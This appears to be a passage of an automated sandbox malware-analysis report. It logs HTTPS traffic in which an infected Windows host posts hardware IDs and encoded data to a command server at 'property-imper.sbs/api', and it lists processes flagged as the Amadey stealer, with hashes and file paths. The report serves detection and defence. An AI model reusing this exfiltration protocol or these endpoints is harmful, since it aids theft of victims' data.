2024-11-24 13:28:54 UTC	15331	OUT	Data Raw: 2d 2d 56 47 41 42 4e 4f 54 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 56 47 41 42 4e 4f 54 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 47 41 42 4e 4f 54 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 47 41 42 4e 4f 54 4e 46 0d 0a 43 6f 6e 74 65 6e Data Ascii: --VGABNOTNFContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--VGABNOTNFContent-Disposition: form-data; name="pid"2--VGABNOTNFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--VGABNOTNFConten
2024-11-24 13:28:54 UTC	3655	OUT	Data Raw: cc f7 85 53 93 93 e2 f6 59 5b 2e 69 b4 6c 6c e9 9a 21 97 dd ca ac 54 64 55 b7 fc c2 fa 9b 77 c0 da dc fc 52 41 f2 8b 21 0d b3 5b 61 71 79 ad 70 a9 70 45 5a 5e 59 93 96 af 2e 2d 8d 38 db 8a ce bd d5 b9 91 ed 2c 2d ad 2c 5f 7a 78 ee ca 7d f7 cf 79 36 48 0f 5e 59 bc 3c 77 e5 51 e9 81 c2 a3 fc b8 23 92 e7 38 69 29 fd 94 4c c2 a9 c1 41 f1 97 fa db 4f 62 e7 43 9f 7f 76 db f2 e8 49 63 64 a3 ce 36 74 64 43 a9 9b 26 bb ab 8b 35 d9 ae f8 67 d4 96 cd 0d 7a ab 08 16 8b 61 17 6d b5 4a 3b 4f df a4 0a 55 af d1 72 b1 74 c3 a6 56 e7 76 db b0 65 ad db 46 76 60 db e7 98 65 59 df a0 66 d1 be 51 f3 d9 a8 ea 36 35 cd 7a cd 2e 9a 54 b6 0c bd 33 46 45 b6 2a d2 fc d2 ca fc 6e 10 d5 cb 5d f2 6f d4 a8 4e 7d ae b9 26 5b 76 51 56 14 6a 59 5d f6 b4 4d 59 b7 54 56 b4 7e 85 b2 ce f2 48 Data Ascii: SY[.ill!TdUwRA![aqyppEZ^Y.-8,-,_zx}y6H^Y<wQ#8i)LAObCvIcd6tdC&5gzamJ;OUrtVveFv`eYfQ65z.T3FE*n]oN}&[vQVjY]MYTV~H
2024-11-24 13:28:55 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ejgc9pnpdhp16vnk4kvhmltuba; expires=Thu, 20-Mar-2025 07:15:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vS0RMpCxDPhse798jso4xVLU5vMVoNGK9vNi3lh%2FRDKWq508udh6h0k8xEYbvGVu%2BfnG209DdzUSmYgcaimtSxIbMudTYjow%2Fx8D%2FzxMWFYYq%2By2n6rasvbHVZbMCuvU9LtdxHI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79beaccda45e71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19941&delivery_rate=1410628&cwnd=238&unsent_bytes=0&cid=8c9e55971cc97e0d&ts=1015&x=0"
2024-11-24 13:28:55 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	50281	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:56 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6ZI0ACHNG8OUON7W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: property-imper.sbs
2024-11-24 13:28:56 UTC	8778	OUT	Data Raw: 2d 2d 36 5a 49 30 41 43 48 4e 47 38 4f 55 4f 4e 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 36 5a 49 30 41 43 48 4e 47 38 4f 55 4f 4e 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 5a 49 30 41 43 48 4e 47 38 4f 55 4f 4e 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --6ZI0ACHNG8OUON7WContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--6ZI0ACHNG8OUON7WContent-Disposition: form-data; name="pid"2--6ZI0ACHNG8OUON7WContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-24 13:28:57 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=07a9clciign5s4uf6e4gcuospd; expires=Thu, 20-Mar-2025 07:15:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eHv%2FSz88eyENs5pSxlIm3jYtya4Fct1LuYq0GJc0FbStladhKqRvSAGJ%2FPEIYHIA8Ro3lrlALrf8bv9y8x7Mu17mFQ1D0B1qq5ATiXYQKagQHTahhEU1LZ9eJnWHVGYJT%2B%2B8%2FOw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79bebb3b8f43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1869&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9717&delivery_rate=1536033&cwnd=209&unsent_bytes=0&cid=f3bd912045d53e21&ts=864&x=0"
2024-11-24 13:28:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	50300	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:58 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3PD59X6EINJNW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: property-imper.sbs
2024-11-24 13:28:58 UTC	15331	OUT	Data Raw: 2d 2d 33 50 44 35 39 58 36 45 49 4e 4a 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 33 50 44 35 39 58 36 45 49 4e 4a 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 50 44 35 39 58 36 45 49 4e 4a 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 50 44 35 39 Data Ascii: --3PD59X6EINJNWContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--3PD59X6EINJNWContent-Disposition: form-data; name="pid"3--3PD59X6EINJNWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3PD59
2024-11-24 13:28:58 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-24 13:28:59 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fncv52lcqutnvnn9nau5e9s420; expires=Thu, 20-Mar-2025 07:15:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RGkMl1SFefjb42nwmQBeT%2FcYiCMmGmF2ZECXt2jzjdG%2FguoodHha2CTUKUlD1P%2BZSGKbaj8NmkKunD4SUsGJ%2BDPkzC5DJxhl4%2BsbBiCe3bRKZ9KoEjMCfIgbhXlzHYG9pXMZiFY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79bec8cfd442d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21372&delivery_rate=1670480&cwnd=214&unsent_bytes=0&cid=4ee18c97f5ac6214&ts=777&x=0"
2024-11-24 13:28:59 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50311	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:29:00 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CCRP4EUF85E2D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1224 Host: property-imper.sbs
2024-11-24 13:29:00 UTC	1224	OUT	Data Raw: 2d 2d 43 43 52 50 34 45 55 46 38 35 45 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 43 43 52 50 34 45 55 46 38 35 45 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 43 52 50 34 45 55 46 38 35 45 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 43 52 50 34 Data Ascii: --CCRP4EUF85E2DContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--CCRP4EUF85E2DContent-Disposition: form-data; name="pid"1--CCRP4EUF85E2DContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CCRP4
2024-11-24 13:29:01 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iruraa9k11iokdnlaiohh3e9ae; expires=Thu, 20-Mar-2025 07:15:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sni0y4KH2yDlw%2B9jkB26slHsWwp0jOcvERz7E6pA2i5QQBoW%2FnEL8wHB%2B%2BYVnpD0QJDjUYIfUsa5eU99fziDzMF39mO3TMIheEFrinVMfP1SCKpmo18pw1ER2yXmj2M9v4MuaR8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79bed66d9b15d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1503&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2138&delivery_rate=1875401&cwnd=225&unsent_bytes=0&cid=bfdf27c0b5fbfaab&ts=750&x=0"
2024-11-24 13:29:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50318	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:29:03 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z4N87PFU2I3J7SYP8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29033 Host: property-imper.sbs
2024-11-24 13:29:03 UTC	15331	OUT	Data Raw: 2d 2d 5a 34 4e 38 37 50 46 55 32 49 33 4a 37 53 59 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 5a 34 4e 38 37 50 46 55 32 49 33 4a 37 53 59 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 34 4e 38 37 50 46 55 32 49 33 4a 37 53 59 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --Z4N87PFU2I3J7SYP8Content-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--Z4N87PFU2I3J7SYP8Content-Disposition: form-data; name="pid"1--Z4N87PFU2I3J7SYP8Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 13:29:03 UTC	13702	OUT	Data Raw: fd b2 53 16 d8 a6 6a 2e b5 ee 88 dd fe f3 8e a6 c8 91 ed cf 03 b7 fe 7b b3 1a 21 9a 6d 51 13 2e bc ed 92 aa c8 11 4d 52 fd 0e c8 3f 35 90 fc 09 60 47 fb 3f dd b1 89 47 ff ef 5f 9f de ff 59 b0 6a 44 59 dc 48 e0 98 d5 e4 c6 21 a8 ee f3 76 2b da ff d0 18 8f b7 18 8b 59 0e b8 8f 6a 1c 84 b3 3a 06 d5 b7 5d 1d 8d c4 b0 7f 7d 73 70 30 85 e9 e7 98 d6 0c ba 14 79 f4 73 b6 19 10 71 9a e4 4b 60 a9 32 9a fa f1 4f e1 c3 84 b0 ec d3 fb 0f 55 da 73 1f c7 87 26 e5 eb c0 fa 7b c5 9a 3d b0 ba 82 d6 63 a1 be 3b 7c 5e e6 41 e7 5d 2b ea 4b 79 b1 0c 61 11 66 ef 60 e1 37 56 95 3f 79 d8 39 e4 66 49 83 4b 89 52 12 fd 73 05 48 38 88 0c d0 76 66 df 5e 6e 33 85 74 ac d6 48 62 2e 5d d5 37 01 56 55 d0 c0 3d ea 74 5c 3f 67 67 38 95 f6 84 1c bd d1 8d ff 0a 93 2a 22 10 06 b5 35 af fe 79 Data Ascii: Sj.{!mQ.MR?5`G?G_YjDYH!v+Yj:]}sp0ysqK`2OUs&{=c;\|^A]+Kyaf`7V?y9fIKRsH8vf^n3tHb.]7VU=t\?gg8*"5y
2024-11-24 13:29:04 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7di8c6nr6ti20u28lb7c4t3a60; expires=Thu, 20-Mar-2025 07:15:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hOiNFPJvq8e48Us7xBAb%2F35CsgJOI6WekkNYFTb7ukqStOAo3fjnQDER51rWhl0lZG5RdJsXuBIbRpec2YQJXouzfQBe%2Fb9rcAkFbIX0hXZATpTVz3IVG4ko7ia8NH37dQs1WiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79bee46c790f93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&sent=18&recv=32&lost=0&retrans=0&sent_bytes=2846&recv_bytes=30018&delivery_rate=1784841&cwnd=178&unsent_bytes=0&cid=ba1c4e5e0d7d7c23&ts=911&x=0"
2024-11-24 13:29:04 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:29:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50321	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:29:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 13:29:05 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=8E2B0E67CED2B7B7D7CBBD6DF28D3732
2024-11-24 13:29:06 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rlbf6hproah9mlojf898r3v55h; expires=Thu, 20-Mar-2025 07:15:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qVA36fv9RS8cNJWbnXwTLqyxAwh4sJ8AvKhZ1hI6WZTJ7mrwmps32UHHrYr5PFyKOFuSYsK%2FlVbqvsHwdtLkACJjSedUaNCAWtAzWUm6YRPOeI%2FCL5TZkpMrgY228guNju8QZN0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79bef239ee4255-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1849&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1582655&cwnd=222&unsent_bytes=0&cid=8bb90c2f30c4a561&ts=706&x=0"
2024-11-24 13:29:06 UTC	214	IN	Data Raw: 64 30 0d 0a 6b 6e 41 45 32 66 41 45 66 33 30 42 76 46 35 42 4c 64 79 66 6c 38 6d 67 43 36 4b 36 5a 72 31 70 50 74 49 31 42 78 55 44 6a 31 7a 4a 43 79 61 73 30 6a 35 64 46 58 58 49 4c 6e 74 78 38 38 4f 34 2b 4a 67 2b 6a 49 68 58 69 45 63 50 34 77 59 70 4a 44 58 54 63 2f 30 57 59 6f 58 66 59 42 6f 62 4c 39 6b 6d 4a 41 2f 77 76 66 47 39 67 6a 47 53 6c 6b 54 59 53 77 54 6a 53 43 74 75 49 66 70 2b 71 46 4a 73 72 59 52 30 52 53 45 75 34 48 46 77 46 65 6d 78 70 66 69 56 4a 5a 4f 4c 56 5a 4e 59 43 49 34 61 64 47 46 6d 37 6a 48 4f 58 33 61 34 6e 6d 41 51 45 43 2f 5a 4a 69 51 50 38 4c 33 78 76 59 49 78 6b 70 5a 45 32 45 73 45 34 6b 68 61 0d 0a Data Ascii: d0knAE2fAEf30BvF5BLdyfl8mgC6K6Zr1pPtI1BxUDj1zJCyas0j5dFXXILntx88O4+Jg+jIhXiEcP4wYpJDXTc/0WYoXfYBobL9kmJA/wvfG9gjGSlkTYSwTjSCtuIfp+qFJsrYR0RSEu4HFwFemxpfiVJZOLVZNYCI4adGFm7jHOX3a4nmAQEC/ZJiQP8L3xvYIxkpZE2EsE4kha
2024-11-24 13:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:22:59
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x410000
File size:	1'910'272 bytes
MD5 hash:	1720B52474ED20DE02AE925BA32024B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1750360381.0000000000411000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1705192242.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:23:03
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc20000
File size:	1'910'272 bytes
MD5 hash:	1720B52474ED20DE02AE925BA32024B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1753823043.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1794588718.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:23:03
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc20000
File size:	1'910'272 bytes
MD5 hash:	1720B52474ED20DE02AE925BA32024B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1756175985.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1796955424.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:24:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc20000
File size:	1'910'272 bytes
MD5 hash:	1720B52474ED20DE02AE925BA32024B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2313546363.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:24:12
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Imagebase:	0x7ff70f330000
File size:	513'536 bytes
MD5 hash:	7DC51C5014010A56BD8A33D256831A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
